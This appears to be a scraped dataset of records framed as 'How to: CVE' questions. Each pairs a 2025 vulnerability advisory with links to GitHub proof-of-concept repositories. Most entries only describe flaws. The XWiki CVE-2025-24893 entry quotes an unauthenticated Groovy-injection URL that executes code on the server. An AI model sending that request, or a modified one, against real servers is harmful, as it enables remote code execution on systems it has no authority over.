[n0n-zer0/Spring-Boot-Tomcat-CVE-2025-24813](https://github.com/n0n-zer0/Spring-Boot-Tomcat-CVE-2025-24813)\n- [Alaatk/CVE-2025-24813-POC](https://github.com/Alaatk/CVE-2025-24813-POC)\n- [tonyarris/CVE-2025-24813-PoC](https://github.com/tonyarris/CVE-2025-24813-PoC)\n- [beyond-devsecops/CVE-2025-24813](https://github.com/beyond-devsecops/CVE-2025-24813)\n- [u238/Tomcat-CVE_2025_24813](https://github.com/u238/Tomcat-CVE_2025_24813)\n- [AlperenY-cs/CVE-2025-24813](https://github.com/AlperenY-cs/CVE-2025-24813)\n- [manjula-aw/CVE-2025-24813](https://github.com/manjula-aw/CVE-2025-24813)\n- [B1gN0Se/Tomcat-CVE-2025-24813](https://github.com/B1gN0Se/Tomcat-CVE-2025-24813)\n- [AsaL1n/CVE-2025-24813](https://github.com/AsaL1n/CVE-2025-24813)\n- [MuhammadWaseem29/CVE-2025-24813](https://github.com/MuhammadWaseem29/CVE-2025-24813)\n- [La3B0z/CVE-2025-24813-POC](https://github.com/La3B0z/CVE-2025-24813-POC)\n- [Heimd411/CVE-2025-24813-noPoC](https://github.com/Heimd411/CVE-2025-24813-noPoC)\n- [horsehacks/CVE-2025-24813-checker](https://github.com/horsehacks/CVE-2025-24813-checker)\n- [GadaLuBau1337/CVE-2025-24813](https://github.com/GadaLuBau1337/CVE-2025-24813)\n- [f8l124/CVE-2025-24813-POC](https://github.com/f8l124/CVE-2025-24813-POC)\n- [Franconyu/Poc_for_CVE-2025-24813](https://github.com/Franconyu/Poc_for_CVE-2025-24813)\n- [cchopin/CVE-Arsenal-Lab](https://github.com/cchopin/CVE-Arsenal-Lab)\n- [Mattb709/CVE-2025-24813-PoC-Apache-Tomcat-RCE](https://github.com/Mattb709/CVE-2025-24813-PoC-Apache-Tomcat-RCE)\n- [Mattb709/CVE-2025-24813-Scanner](https://github.com/Mattb709/CVE-2025-24813-Scanner)\n- [Erosion2020/CVE-2025-24813-vulhub](https://github.com/Erosion2020/CVE-2025-24813-vulhub)\n- [hakankarabacak/CVE-2025-24813](https://github.com/hakankarabacak/CVE-2025-24813)\n- [ThHardvester/CVE-2025-24813](https://github.com/ThHardvester/CVE-2025-24813)\n- [fatkz/CVE-2025-24813](https://github.com/fatkz/CVE-2025-24813)\n- [mbanyamer/Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813-](https://github.com/mbanyamer/Apache-Tomcat---Remote-Code-Execution-via-Session-Deserialization-CVE-2025-24813-)\n- [x1ongsec/CVE-2025-24813](https://github.com/x1ongsec/CVE-2025-24813)\n- [yaleman/cve-2025-24813-poc](https://github.com/yaleman/cve-2025-24813-poc)\n- [GongWook/CVE-2025-24813](https://github.com/GongWook/CVE-2025-24813)\n- [sentilaso1/CVE-2025-24813-Apache-Tomcat-RCE-PoC](https://github.com/sentilaso1/CVE-2025-24813-Apache-Tomcat-RCE-PoC)\n- [x00byte/PutScanner](https://github.com/x00byte/PutScanner)\n- [Shivshantp/CVE-2025-248", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": true, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154770"}
{"id": "gh_0e32d5bd40d9", "question": "How to: CVE-2025-24893 (2025-02-20)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nXWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Any guest can perform arbitrary remote code execution through a request to `SolrSearch`. This impacts the confidentiality, integrity and availability of the whole XWiki installation. To reproduce on an instance, without being logged in, go to `<host>/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28\"Hello%20from\"%20%2B%20\"%20search%20text%3A\"%20%2B%20%2823%20%2B%2019%29%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20`. If there is an output, and the title of the RSS feed contains `Hello from search text:42`, then the instance is vulnerable. This vulnerability has been patched in XWiki 15.10.11, 16.4.1 and 16.5.0RC1. Users are advised to upgrade. Users unable to upgrade may edit `Main.SolrSearchMacros` in `SolrSearchMacros.xml` on line 955 to match the `rawResponse` macro in `macros.vm#L2824` with a content type of `application/xml`, instead of simply outputting the content of the feed.\n```\n- [iSee857/CVE-2025-24893-PoC](https://github.com/iSee857/CVE-2025-24893-PoC)\n- [Artemir7/CVE-2025-24893-EXP](https://github.com/Artemir7/CVE-2025-24893-EXP)\n- [nopgadget/CVE-2025-24893](https://github.com/nopgadget/CVE-2025-24893)\n- [Kai7788/CVE-2025-24893-RCE-PoC](https://github.com/Kai7788/CVE-2025-24893-RCE-PoC)\n- [AliElKhatteb/CVE-2024-32019-POC](https://github.com/AliElKhatteb/CVE-2024-32019-POC)\n- [dhiaZnaidi/CVE-2025-24893-PoC](https://github.com/dhiaZnaidi/CVE-2025-24893-PoC)\n- [hackersonsteroids/cve-2025-24893](https://github.com/hackersonsteroids/cve-2025-24893)\n- [Infinit3i/CVE-2025-24893](https://github.com/Infinit3i/CVE-2025-24893)\n- [AzureADTrent/CVE-2025-24893-Reverse-Shell](https://github.com/AzureADTrent/CVE-2025-24893-Reverse-Shell)\n- [gunzf0x/CVE-2025-24893](https://github.com/gunzf0x/CVE-2025-24893)\n- [dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC](https://github.com/dollarboysushil/CVE-2025-24893-XWiki-Unauthenticated-RCE-Exploit-POC)\n- [zs1n/CVE-2025-24893](https://github.com/zs1n/CVE-2025-24893)\n- [investigato/cve-2025-24893-poc](https://github.com/investigato/cve-2025-24893-poc)\n- [570RMBR3AK3R/xwiki-cve-2025-24893-poc](https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc)\n- [IIIeJlyXaKapToIIIKu/CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch](https://github.com/IIIeJlyXaKapToIIIKu/CVE-2025-24893-XWiki-unauthenticated-RCE-via-SolrSearch)\n- [mah4nzfr/CVE-2025-24893](https://github.com/mah4nzfr/CVE-2025-24893)\n- [Th3Gl0w/CVE-2025-24893-POC](https://github.com/Th3Gl0w/CVE-2025-24893-POC)\n- [Hex00-0x4/CVE-2025-24893-XWiki-RCE](https://github.com/Hex00-0x4/CVE-2025-24893-XWiki-RCE)\n- [The-Red-Serpent/CVE-2025-24893](https://github.com/The-Red-Serpent/CVE-2025-24893)\n- [alaxar/CVE-2025-24893](https://github.com/alaxar/CVE-2025-24893)\n- [D3Ext/CVE-2025-24893](https://github.com/D3Ext/CVE-2025-24893)\n- [Retro023/CVE-2025-24893-POC](https://github.com/Retro023/CVE-2025-24893-POC)\n- [CMassa/CVE-2025-24893](https://github.com/CMassa/CVE-2025-24893)\n- [x0da6h/POC-for-CVE-2025-24893](https://github.com/x0da6h/POC-for-CVE-2025-24893)\n- [ibadovulfat/CVE-2025-24893_HackTheBox-Editor-Writeup](https://github.com/ibadovulfat/CVE-2025-24893_HackTheBox-Editor-Writeup)\n- [torjan0/xwiki_solrsearch-rce-exploit](https://github.com/torjan0/xwiki_solrsearch-rce-exploit)\n- [b0ySie7e/CVE-2025-24893](https://github.com/b0ySie7e/CVE-2025-24893)\n- [andwati/CVE-2025-24893](https://github.com/andwati/CVE-2025-24893)\n- [Bishben/xwiki-15.10.8-reverse-shell-cve-2025-24893](https://github.com/Bishben/xwiki-15.10.8-reverse-shell-cve-2025-24893)\n- [80Ottanta80/CVE-2025-24893-PoC](https://github.com/80Ottanta80/CVE-2025-24893-PoC)\n- [Ashwesker/Ashwesker-CVE-2025-24893](https://github.com/Ashwesker/Ashwesker-CVE-2025-24893)\n- [0xDTC/XWiki-Platform-RCE-CVE-2025-24893](https://github.com/0xDTC/XWiki-Platform-RCE-CVE-2025-24893)\n- [o0wo0o/CVE-2025-24893_Shell](https://github.com/o0wo0o/CVE-2025-24893_Shell)\n- [WhiteDominion/CVE-2025-24893](https://github.com/WhiteDominion/CVE-2025-24893)\n- [BreakingRohit/CVE-2025-24893-PoC](https://github.com/BreakingRohit/CVE-2025-24893-PoC)\n- [TomKingori/xwiki-cve-2025-24893-exploit](https://github.com/TomKingori/xwiki-cve-2025-24893-exploit)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154781"}
{"id": "gh_e4271d78d90c", "question": "How to: CVE-2025-24963 (2025-02-04)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nVitest is a testing framework powered by Vite. The `__screenshot-error` handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by `browser.api.host: true`, an attacker can send a request to that handler from remote to get the content of arbitrary files.This `__screenshot-error` handler on the browser mode HTTP server responds any file on the file system. This code was added by commit `2d62051`. Users explicitly exposing the browser mode server to the network by `browser.api.host: true` may get any files exposed. This issue has been addressed in versions 2.1.9 and 3.0.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.\n```\n- [0xdeviner/CVE-2025-24963](https://github.com/0xdeviner/CVE-2025-24963)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154787"}
{"id": "gh_6702cde3bf55", "question": "How to: CVE-2025-24985 (2025-03-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nInteger overflow or wraparound in Windows Fast FAT Driver allows an unauthorized attacker to execute code locally.\n```\n- [airbus-cert/cve-2025-24985](https://github.com/airbus-cert/cve-2025-24985)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154796"}
{"id": "gh_da35d6ba8d62", "question": "How to: CVE-2025-25014 (2025-05-06)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Prototype pollution vulnerability in Kibana leads to arbitrary code execution via crafted HTTP requests to machine learning and reporting endpoints.\n```\n- [davidxbors/CVE-2025-25014](https://github.com/davidxbors/CVE-2025-25014)\n- [Ashwesker/Ashwesker-CVE-2025-25014](https://github.com/Ashwesker/Ashwesker-CVE-2025-25014)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154800"}
{"id": "gh_b3dd875347c2", "question": "How to: CVE-2025-25062 (2025-02-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It doesn't sufficiently isolate long text content when the CKEditor 5 rich text editor is used. This allows a potential attacker to craft specialized HTML and JavaScript that may be executed when an administrator attempts to edit a piece of content. This vulnerability is mitigated by the fact that an attacker must have the ability to create long text content (such as through the node or comment forms) and an administrator must edit (not view) the content that contains the malicious content. This problem only exists when using the CKEditor 5 module.\n```\n- [rhburt/CVE-2025-25062](https://github.com/rhburt/CVE-2025-25062)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154805"}
{"id": "gh_078871556df2", "question": "How to: CVE-2025-25064 (2025-02-03)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nSQL injection vulnerability in the ZimbraSync Service SOAP endpoint in Zimbra Collaboration 10.0.x before 10.0.12 and 10.1.x before 10.1.4 due to insufficient sanitization of a user-supplied parameter. Authenticated attackers can exploit this vulnerability by manipulating a specific parameter in the request, allowing them to inject arbitrary SQL queries that could retrieve email metadata.\n```\n- [yelang123/Zimbra10_SQL_Injection](https://github.com/yelang123/Zimbra10_SQL_Injection)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154810"}
{"id": "gh_704a57136894", "question": "How to: CVE-2025-25101 (2025-02-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nCross-Site Request Forgery (CSRF) vulnerability in MetricThemes Munk Sites allows Cross Site Request Forgery. This issue affects Munk Sites: from n/a through 1.0.7.\n```\n- [Nxploited/CVE-2025-25101](https://github.com/Nxploited/CVE-2025-25101)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154814"}
{"id": "gh_9ca1e7781c49", "question": "How to: CVE-2025-25163 (2025-02-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Zach Swetz Plugin A/B Image Optimizer allows Path Traversal. This issue affects Plugin A/B Image Optimizer: from n/a through 3.3.\n```\n- [RandomRobbieBF/CVE-2025-25163](https://github.com/RandomRobbieBF/CVE-2025-25163)\n- [RootHarpy/CVE-2025-25163-Nuclei-Template](https://github.com/RootHarpy/CVE-2025-25163-Nuclei-Template)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154818"}
{"id": "gh_991b25ece079", "question": "How to: CVE-2025-25231 (2025-08-11)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nOmnissa Workspace ONE UEM contains a Secondary Context Path Traversal Vulnerability. A malicious actor may be able to gain access to sensitive information by sending crafted GET requests (read-only) to restricted API endpoints.\n```\n- [ashkan-pu/CVE-CVE-2025-25231](https://github.com/ashkan-pu/CVE-CVE-2025-25231)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154823"}
{"id": "gh_9b736e94727d", "question": "How to: CVE-2025-25256 (2025-08-12)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerability [CWE-78] in Fortinet FortiSIEM version 7.3.0 through 7.3.1, 7.2.0 through 7.2.5, 7.1.0 through 7.1.7, 7.0.0 through 7.0.3 and before 6.7.9 allows an unauthenticated attacker to execute unauthorized code or commands via crafted CLI requests.\n```\n- [watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256](https://github.com/watchtowrlabs/watchTowr-vs-FortiSIEM-CVE-2025-25256)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154827"}
{"id": "gh_a2757c80438a", "question": "How to: CVE-2025-25257 (2025-07-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn improper neutralization of special elements used in an SQL command ('SQL Injection') vulnerability [CWE-89] vulnerability in Fortinet FortiWeb 7.6.0 through 7.6.3, FortiWeb 7.4.0 through 7.4.7, FortiWeb 7.2.0 through 7.2.10, FortiWeb 7.0.0 through 7.0.10 allows an unauthenticated attacker to execute unauthorized SQL code or commands via crafted HTTP or HTTPs requests.\n```\n- [watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257](https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257)\n- [0xbigshaq/CVE-2025-25257](https://github.com/0xbigshaq/CVE-2025-25257)\n- [aitorfirm/CVE-2025-25257](https://github.com/aitorfirm/CVE-2025-25257)\n- [adilburaksen/CVE-2025-25257-Exploit-Tool](https://github.com/adilburaksen/CVE-2025-25257-Exploit-Tool)\n- [imbas007/CVE-2025-25257](https://github.com/imbas007/CVE-2025-25257)\n- [Ashwesker/Ashwesker-CVE-2025-25257](https://github.com/Ashwesker/Ashwesker-CVE-2025-25257)\n- [0xgh057r3c0n/CVE-2025-25257](https://github.com/0xgh057r3c0n/CVE-2025-25257)\n- [mrmtwoj/CVE-2025-25257](https://github.com/mrmtwoj/CVE-2025-25257)\n- [TheStingR/CVE-2025-25257](https://github.com/TheStingR/CVE-2025-25257)\n- [segfault-it/CVE-2025-25257](https://github.com/segfault-it/CVE-2025-25257)\n- [lytianahkone-boop/cve-2025-25257](https://github.com/lytianahkone-boop/cve-2025-25257)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154833"}
{"id": "gh_9c45967fed6c", "question": "How to: CVE-2025-25279 (2025-02-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nMattermost versions 10.4.x <= 10.4.1, 9.11.x <= 9.11.7, 10.3.x <= 10.3.2, 10.2.x <= 10.2.2 fail to properly validate board blocks when importing boards which allows an attacker could read any arbitrary file on the system via importing and exporting a specially crafted import archive in Boards.\n```\n- [numanturle/CVE-2025-25279](https://github.com/numanturle/CVE-2025-25279)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154840"}
{"id": "gh_47ec2f6e037f", "question": "How to: CVE-2025-25296 (2025-02-14)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nLabel Studio is an open source data labeling tool. Prior to version 1.16.0, Label Studio's `/projects/upload-example` endpoint allows injection of arbitrary HTML through a `GET` request with an appropriately crafted `label_config` query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution. The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL. This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions. Version 1.16.0 contains a patch for the issue.\n```\n- [math-x-io/CVE-2025-25296-POC](https://github.com/math-x-io/CVE-2025-25296-POC)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154846"}
{"id": "gh_2cea64442969", "question": "How to: CVE-2025-25369", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [lkasjkasj/CVE-2025-25369](https://github.com/lkasjkasj/CVE-2025-25369)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154852"}
{"id": "gh_32a1372967ba", "question": "How to: CVE-2025-25460 (2025-02-24)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA stored Cross-Site Scripting (XSS) vulnerability was identified in FlatPress 1.3.1 within the \"Add Entry\" feature. This vulnerability allows authenticated attackers to inject malicious JavaScript payloads into blog posts, which are executed when other users view the posts. The issue arises due to improper input sanitization of the \"TextArea\" field in the blog entry submission form.\n```\n- [RoNiXxCybSeC0101/CVE-2025-25460](https://github.com/RoNiXxCybSeC0101/CVE-2025-25460)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154857"}
{"id": "gh_5d7053af1625", "question": "How to: CVE-2025-25461 (2025-02-28)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nA Stored Cross-Site Scripting (XSS) vulnerability exists in SeedDMS 6.0.29. A user or rogue admin with the \"Add Category\" permission can inject a malicious XSS payload into the category name field. When a document is subsequently associated with this category, the payload is stored on the server and rendered without proper sanitization or output encoding. This results in the XSS payload executing in the browser of any user who views the document.\n```\n- [RoNiXxCybSeC0101/CVE-2025-25461](https://github.com/RoNiXxCybSeC0101/CVE-2025-25461)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154863"}
{"id": "gh_81c50ac4de4a", "question": "How to: CVE-2025-25599", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Certitude-Consulting/CVE-2025-25599](https://github.com/Certitude-Consulting/CVE-2025-25599)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154867"}
{"id": "gh_37f4d8ff8120", "question": "How to: CVE-2025-25612 (2025-03-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nFS Inc S3150-8T2F prior to version S3150-8T2F_2.2.0D_135103 is vulnerable to Cross Site Scripting (XSS) in the Time Range Configuration functionality of the administration interface. An attacker can inject malicious JavaScript into the \"Time Range Name\" field, which is improperly sanitized. When this input is saved, it is later executed in the browser of any user accessing the affected page, including administrators, resulting in arbitrary script execution in the user's browser.\n```\n- [secmuzz/CVE-2025-25612](https://github.com/secmuzz/CVE-2025-25612)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154874"}
{"id": "gh_031ab9f70a9a", "question": "How to: CVE-2025-25614 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Access Control in Unifiedtransform 2.0 leads to Privilege Escalation, which allows teachers to update the personal data of fellow teachers.\n```\n- [armaansidana2003/CVE-2025-25614](https://github.com/armaansidana2003/CVE-2025-25614)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154878"}
{"id": "gh_fe39717df726", "question": "How to: CVE-2025-25615 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnifiedtransform 2.0 is vulnerable to Incorrect Access Control which allows viewing attendance list for all class sections.\n```\n- [armaansidana2003/CVE-2025-25615](https://github.com/armaansidana2003/CVE-2025-25615)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154882"}
{"id": "gh_a7aa331a5b8b", "question": "How to: CVE-2025-25616 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnifiedtransform 2.0 is vulnerable to Incorrect Access Control, which allows students to modify rules for exams. The affected endpoint is /exams/edit-rule?exam_rule_id=1.\n```\n- [armaansidana2003/CVE-2025-25616](https://github.com/armaansidana2003/CVE-2025-25616)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154886"}
{"id": "gh_c1f416c91d09", "question": "How to: CVE-2025-25617 (2025-03-07)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Access Control in Unifiedtransform 2.X leads to Privilege Escalation allowing teachers to create syllabus.\n```\n- [armaansidana2003/CVE-2025-25617](https://github.com/armaansidana2003/CVE-2025-25617)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154890"}
{"id": "gh_d2132d438fd9", "question": "How to: CVE-2025-25618 (2025-03-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nIncorrect Access Control in Unifiedtransform 2.0 leads to Privilege Escalation allowing the change of Section Name and Room Number by Teachers.\n```\n- [armaansidana2003/CVE-2025-25618](https://github.com/armaansidana2003/CVE-2025-25618)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154894"}
{"id": "gh_fe97a42b7a86", "question": "How to: CVE-2025-25620 (2025-03-10)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnifiedtransform 2.0 is vulnerable to Cross Site Scripting (XSS) in the Create assignment function.\n```\n- [armaansidana2003/CVE-2025-25620](https://github.com/armaansidana2003/CVE-2025-25620)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154898"}
{"id": "gh_cc994bef3418", "question": "How to: CVE-2025-25621 (2025-03-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nUnifiedtransform 2.0 is vulnerable to Incorrect Access Control, which allows teachers to take attendance of fellow teachers. This affected endpoint is /courses/teacher/index?teacher_id=2&semester_id=1.\n```\n- [armaansidana2003/CVE-2025-25621](https://github.com/armaansidana2003/CVE-2025-25621)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154903"}
{"id": "gh_28f380073d17", "question": "How to: CVE-2025-25650 (2025-03-17)", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "```\nAn issue in the storage of NFC card data in Dorset DG 201 Digital Lock H5_433WBSK_v2.2_220605 allows attackers to produce cloned NFC cards to bypass authentication.\n```\n- [AbhijithAJ/Dorset_SmartLock_Vulnerability](https://github.com/AbhijithAJ/Dorset_SmartLock_Vulnerability)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154907"}
{"id": "gh_e57fae5b5d13", "question": "How to: CVE-2025-25705", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Cotherm/CVE-2025-25705](https://github.com/Cotherm/CVE-2025-25705)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154911"}
{"id": "gh_98e128a15564", "question": "How to: CVE-2025-25706", "question_body": "About nomi-sec/PoC-in-GitHub", "answer": "- [Cotherm/CVE-2025-25706](https://github.com/Cotherm/CVE-2025-25706)", "tags": ["nomi-sec"], "source": "github_gists", "category": "nomi-sec", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 7482, "answer_score": 10, "has_code": false, "url": "https://github.com/nomi-sec/PoC-in-GitHub", "collected_at": "2026-01-17T08:20:56.154915"}
